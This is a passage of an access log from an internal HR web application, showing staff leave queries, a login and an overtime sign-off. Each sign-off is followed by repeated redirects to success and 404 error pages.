Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:49:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4229 192.168.12.46 - - [03/Dec/2025:11:49:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:49:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.12.46 - - [03/Dec/2025:11:49:53 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:49:53 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.12.46 - - [03/Dec/2025:11:49:53 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:49:53 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.12.46 - - [03/Dec/2025:11:49:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 62182 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:49:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 62182 192.168.12.46 - - [03/Dec/2025:11:50:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 62182 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:50:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 62182 192.168.12.46 - - [03/Dec/2025:11:50:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 62182 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:50:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 62182 192.168.40.34 - - [03/Dec/2025:12:01:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:01:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [03/Dec/2025:12:01:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:01:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:01:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:01:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [03/Dec/2025:12:01:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:01:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.40.34 - - [03/Dec/2025:12:02:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 52114 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 52114 192.168.40.34 - - [03/Dec/2025:12:02:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132713%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132713&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132713%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132713&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:07 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:07 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132714%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132714&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132714%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132714&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:12:02:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:12:02:11 +0800] "GET 